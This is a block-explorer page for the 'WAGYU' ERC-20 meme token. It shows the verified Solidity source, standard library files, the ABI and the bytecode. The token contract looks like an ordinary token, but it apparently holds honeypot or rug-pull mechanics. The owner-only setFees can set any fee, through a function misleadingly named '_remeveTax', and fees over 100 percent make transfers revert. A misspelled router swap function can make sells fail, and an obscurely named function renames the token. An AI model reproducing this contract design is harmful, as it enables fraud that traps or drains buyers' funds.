ERC-20
Overview
Max Total Supply
1,000,000,000 WAGYU
Holders
32
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,741,026.90276637748021793 WAGYUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
WAGYU
Compiler Version
v0.8.21+commit.d9974bed
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** $WAGYU Official links Website - wagyutoken.com Telegram - https://t.me/wagyutoken X - https://x.com/wagyutoken Even PEPE ❤️ $WAGYU 🐸💚🥩 */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.0; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFreelyOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract WAGYU { string private _name = unicode"WAGYU"; string private _symbol = unicode"WAGYU"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 1_000_000_000 * 10 ** decimals; uint8 buyCharge = 0; uint8 sellCharge = 0; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed TOKEN_MKT, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address private pair; address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress); address payable TOKEN_MKT; bool private swapping; bool private tradingOpen; constructor() { TOKEN_MKT = payable(msg.sender); balanceOf[msg.sender] = totalSupply; allowance[address(this)][routerAddress] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function hobudenday(string memory name_, string memory symbol_) external { if (msg.sender != TOKEN_MKT) revert Permissions(); _name = name_; _symbol = symbol_; } function setFees(uint8 _buy, uint8 _sell) external { if (msg.sender != TOKEN_MKT) revert Permissions(); _remeveTax(_buy, _sell); } function enableTrading() external { require(msg.sender == TOKEN_MKT); require(!tradingOpen); tradingOpen = true; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT); if (!tradingOpen && pair == address(0) && amount > 0) pair = to; balanceOf[from] -= amount; if ( to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TOKEN_MKT ) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = ETH; _uniswapV2Router .swapExactTokensForETHSupportingFreelyOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); TOKEN_MKT.transfer(address(this).balance); swapping = false; } if (from != address(this) && tradingOpen == true) { uint256 taxCalculatedAmount = (amount * (from == pair ? buyCharge : sellCharge)) / 100; amount -= taxCalculatedAmount; balanceOf[address(this)] += taxCalculatedAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function _remeveTax(uint8 _buy, uint8 _sell) private { buyCharge = _buy; sellCharge = _sell; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn( address to ) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function quote( uint amountA, uint reserveA, uint reserveB ) external pure returns (uint amountB); function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) external pure returns (uint amountOut); function getAmountIn( uint amountOut, uint reserveIn, uint reserveOut ) external pure returns (uint amountIn); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function getAmountsIn( uint amountOut, address[] calldata path ) external view returns (uint[] memory amounts); }
interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{ value: amount }(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data ) internal returns (bytes memory) { return functionCallWithValue( target, data, 0, "Address: low-level call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); (bool success, bytes memory returndata) = target.call{ value: value }( data ); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data ) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data ) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert( bytes memory returndata, string memory errorMessage ) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "paris", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"hobudenday","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526005608090815264574147595560d81b60a052600090620000269082620001d9565b50604080518082019091526005815264574147595560d81b6020820152600190620000529082620001d9565b506002805461ffff191690553480156200006b57600080fd5b50600680546001600160a01b031916331790556200008c6012600a620003ba565b6200009c90633b9aca00620003d2565b3360008181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182206000199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200010d6012600a620003ba565b6200011d90633b9aca00620003d2565b60405190815260200160405180910390a3620003ec565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200015f57607f821691505b6020821081036200018057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001d457600081815260208120601f850160051c81016020861015620001af5750805b601f850160051c820191505b81811015620001d057828155600101620001bb565b5050505b505050565b81516001600160401b03811115620001f557620001f562000134565b6200020d816200020684546200014a565b8462000186565b602080601f8311600181146200024557600084156200022c5750858301515b600019600386901b1c1916600185901b178555620001d0565b600085815260208120601f198616915b82811015620002765788860151825594840194600190910190840162000255565b5085821015620002955787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002fc578160001904821115620002e057620002e0620002a5565b80851615620002ee57918102915b93841c9390800290620002c0565b509250929050565b6000826200031557506001620003b4565b816200032457506000620003b4565b81600181146200033d5760028114620003485762000368565b6001915050620003b4565b60ff8411156200035c576200035c620002a5565b50506001821b620003b4565b5060208310610133831016604e8410600b84101617156200038d575081810a620003b4565b620003998383620002bb565b8060001904821115620003b057620003b0620002a5565b0290505b92915050565b6000620003cb60ff84168362000304565b9392505050565b8082028115828204841417620003b457620003b4620002a5565b610ea480620003fc6000396000f3fe6080604052600436106100ab5760003560e01c80634fcd2446116100645780634fcd24461461019e57806370a08231146101be5780638a8c523c146101eb57806395d89b4114610200578063a9059cbb14610215578063dd62ed3e1461023557600080fd5b806306fdde03146100b7578063095ea7b3146100e257806318160ddd1461011257806323b872dd14610135578063313ce567146101555780633c0c67851461017c57600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b506100cc61026d565b6040516100d991906108d7565b60405180910390f35b3480156100ee57600080fd5b506101026100fd366004610941565b6102ff565b60405190151581526020016100d9565b34801561011e57600080fd5b5061012761036c565b6040519081526020016100d9565b34801561014157600080fd5b5061010261015036600461096b565b610389565b34801561016157600080fd5b5061016a601281565b60405160ff90911681526020016100d9565b34801561018857600080fd5b5061019c610197366004610a4a565b6103d7565b005b3480156101aa57600080fd5b5061019c6101b9366004610abf565b61041f565b3480156101ca57600080fd5b506101276101d9366004610af2565b60036020526000908152604090205481565b3480156101f757600080fd5b5061019c61046a565b34801561020c57600080fd5b506100cc6104ad565b34801561022157600080fd5b50610102610230366004610941565b6104bc565b34801561024157600080fd5b50610127610250366004610b0d565b600460209081526000928352604080842090915290825290205481565b60606000805461027c90610b37565b80601f01602080910402602001604051908101604052809291908181526020018280546102a890610b37565b80156102f55780601f106102ca576101008083540402835291602001916102f5565b820191906000526020600020905b8154815290600101906020018083116102d857829003601f168201915b5050505050905090565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061035a9086815260200190565b60405180910390a35060015b92915050565b6103786012600a610c6b565b61038690633b9aca00610c7a565b81565b6001600160a01b03831660009081526004602090815260408083203384529091528120805483919083906103be908490610c91565b909155506103cf90508484846104d0565b949350505050565b6006546001600160a01b0316331461040157604051629af2b160e81b815260040160405180910390fd5b600061040d8382610cf2565b50600161041a8282610cf2565b505050565b6006546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b6006546001600160a01b0316331461048157600080fd5b600654600160a81b900460ff161561049857600080fd5b6006805460ff60a81b1916600160a81b179055565b60606001805461027c90610b37565b60006104c93384846104d0565b9392505050565b600654600090600160a81b900460ff16806104f857506006546001600160a01b038581169116145b8061051057506006546001600160a01b038481169116145b61051957600080fd5b600654600160a81b900460ff1615801561053c57506005546001600160a01b0316155b80156105485750600082115b1561056957600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03841660009081526003602052604081208054849290610591908490610c91565b90915550506005546001600160a01b0384811691161480156105bd5750600654600160a01b900460ff16155b80156105fd575060646105d26012600a610c6b565b6105e090633b9aca00610c7a565b6105ea9190610db2565b3060009081526003602052604090205410155b801561061757506006546001600160a01b03858116911614155b156107a5576006805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061066457610664610dd4565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106106ac576106ac610dd4565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106ec6012600a610c6b565b6106fa90633b9aca00610c7a565b6107049190610db2565b60008430426040518663ffffffff1660e01b8152600401610729959493929190610dea565b600060405180830381600087803b15801561074357600080fd5b505af1158015610757573d6000803e3d6000fd5b50506006546040516001600160a01b0390911692504780156108fc029250906000818181858888f19350505050158015610795573d6000803e3d6000fd5b50506006805460ff6